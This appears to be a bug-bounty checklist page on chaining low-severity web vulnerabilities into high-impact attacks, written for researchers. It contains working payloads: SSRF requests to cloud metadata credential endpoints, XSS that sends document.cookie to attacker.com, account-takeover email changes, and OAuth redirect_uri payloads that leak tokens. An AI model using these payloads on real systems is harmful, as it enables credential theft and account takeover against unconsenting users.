Vulnerability Chaining
Combine multiple low/medium-severity findings into high-impact exploit chains that demonstrate real-world attack scenarios and maximise bounty payouts.
Tools
Machine-readable JSON available at:
https://reconatlas.pages.dev/api/checklists/chaining-vulnerabilitiesTags
// checklist steps
chain-01
Map all discovered vulnerabilities and their relationships
Create a matrix of all identified vulnerabilities, their access requirements, and how the output of one can feed into the input of another.
# Review all findings and categorise by type
cat findings.txt | sort -t'|' -k2 | column -t -s'|'Group vulnerabilities by category (information disclosure, injection, access control, client-side). Look for pairs where one finding's output enables another finding's exploitation.
chain-02
Identify SSRF-to-internal-access chains
Escalate server-side request forgery from URL fetch to internal service access, cloud metadata retrieval, or internal API abuse.
curl -sk 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
curl -sk 'https://target.com/fetch?url=http://localhost:8080/admin/'
curl -sk 'https://target.com/fetch?url=http://internal-api.local/v1/users'SSRF alone may be medium severity, but SSRF to AWS credential theft or internal admin access is critical. Document the full chain from initial request to final impact.
chain-03
Build XSS-to-account-takeover chains
Chain a cross-site scripting vulnerability with CSRF or session theft to achieve full account takeover rather than just JavaScript execution.
# XSS payload that steals session cookie
curl -sk 'https://target.com/search?q=<script>fetch("https://attacker.com/steal?c="%2Bdocument.cookie)</script>'
# XSS payload that changes email via CSRF
curl -sk 'https://target.com/search?q=<script>fetch("/api/profile",{method:"PUT",headers:{"Content-Type":"application/json"},body:JSON.stringify({email:"attacker@evil.com"}),credentials:"include"})</script>'A stored XSS that changes the victim's email address, then triggers a password reset to the attacker's email, is a full account takeover chain — far more impactful than a reflected XSS alert box.
chain-04
Chain information disclosure to authentication bypass
Use leaked credentials, API keys, or internal endpoints discovered through information disclosure to bypass authentication entirely.
# Use leaked API key from JS files
curl -sk https://target.com/api/admin/users -H 'X-API-Key: <leaked-key>'
# Use discovered internal endpoint
curl -sk 'https://target.com/internal/debug/auth?user=admin&bypass=true'Information disclosure findings that are rated as low/informational on their own can become critical when they provide the key to bypass authentication or access admin functionality.
chain-05
Demonstrate open redirect to OAuth token theft
Chain an open redirect vulnerability with an OAuth flow to steal authorization codes or access tokens.
# Craft OAuth URL with redirect_uri pointing to open redirect
curl -sk 'https://target.com/oauth/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=https://target.com/redirect?url=https://attacker.com/steal'
# Test with token in URL fragment
curl -sk 'https://target.com/oauth/authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=https://target.com/redirect?url=https://attacker.com/steal'An open redirect alone is typically low severity. When it is used to bypass OAuth redirect_uri validation, it escalates to account takeover via token theft.
chain-06
Document the full chain with step-by-step reproduction
Write a detailed chain report that shows each link in the exploit chain, the individual severity of each finding, and the combined impact.
# Create a chain reproduction script
python3 -c "
import requests
s = requests.Session()
# Step 1: Exploit info disclosure
# Step 2: Use leaked data to bypass auth
# Step 3: Escalate privileges
print('Chain completed successfully')
"Include a diagram or numbered list showing the chain. Explain why each individual finding is necessary and what happens if any link is removed. This helps triage teams understand the realistic attack scenario.
Overview
Vulnerability chaining transforms individually low-impact findings into critical exploit chains that demonstrate real-world attack scenarios. Many bug bounty programmes reward chains at the severity of the final impact rather than the individual components, making chaining one of the highest-ROI skills for a researcher.
Common chain patterns
- SSRF → cloud metadata → credential theft — medium to critical
- XSS → CSRF → account takeover — medium to critical
- Info disclosure → authentication bypass → admin access — low to critical
- Open redirect → OAuth token theft → account takeover — low to critical
- IDOR → PII exposure → targeted phishing — medium to high
Reporting chains effectively
Each link in the chain should be documented as a separate finding with its own reproduction steps. The chain report then references each individual finding and shows how they connect. This allows the programme to remediate each component independently while understanding the aggregate risk.